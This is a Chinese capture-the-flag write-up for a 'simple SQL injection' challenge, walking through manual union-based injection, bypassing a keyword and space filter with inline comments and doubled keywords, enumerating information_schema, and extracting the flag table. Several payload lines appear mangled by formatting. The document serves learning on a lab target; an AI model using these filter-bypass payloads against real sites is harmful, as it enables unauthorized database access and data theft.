平台题目wp

简单的sql注入1:

开始我的纯手工注入

1

发现可以输出id和name,由此可以判断数据库查询输出的只有一行

1‘

发现出错,可以注入

1’ union select database()#

发现除了database()全部被过滤,再测试一下发现他会自动过滤>1个空格的前面的单词。如1 union select会变成1 select
这样我们可以构造两种,一种是双字,一种是利用/**/

1’//union//select/**/database()’或者1’ unionunion selectselect
database()’

其实还有一个坑,就是他过滤了#,可以试一试

1’//union//select//table_name//from//information_schema.tables//where/**/table_shcema=’web1

出错,发现前面web1前面的所有内容都没有了,说明过滤了table_name或者table_schema,后来证明是table_schema,想到双字

1’//union//select//table_name//from//information_schema.tables//where/**/table_schemtable_schemaa=’web1

然后得到表,下面要得字段名

1’//union//select//column_name//from//information_schema.columns//where/**/table_name=’flag

这一次我们很快知道,是由于前面的column_name所以

1’//union//select//column_namcolumn_namee//from//information_scheminformation_schema.columnsa.columns//where/**/table_name=’flag

得到这个不是那么容易…因为我漏掉了from,而且information_schema.columns的拼接让我很纠结。。。

1’//union//select//flag//from//flag//where/**/‘1’=’1

我只能说我这里还有一个坑就是where ‘1’=’1 ,我用了’,然后不行,为什么一开始可以呢,我觉得是一开始是select一段字符串,可以用’’拼接,但是from flag后面不能拼接空字符串。可能这是标准写法。我不懂啊!!!

大概就这样,看了能解答的私信我。
qq:1466742963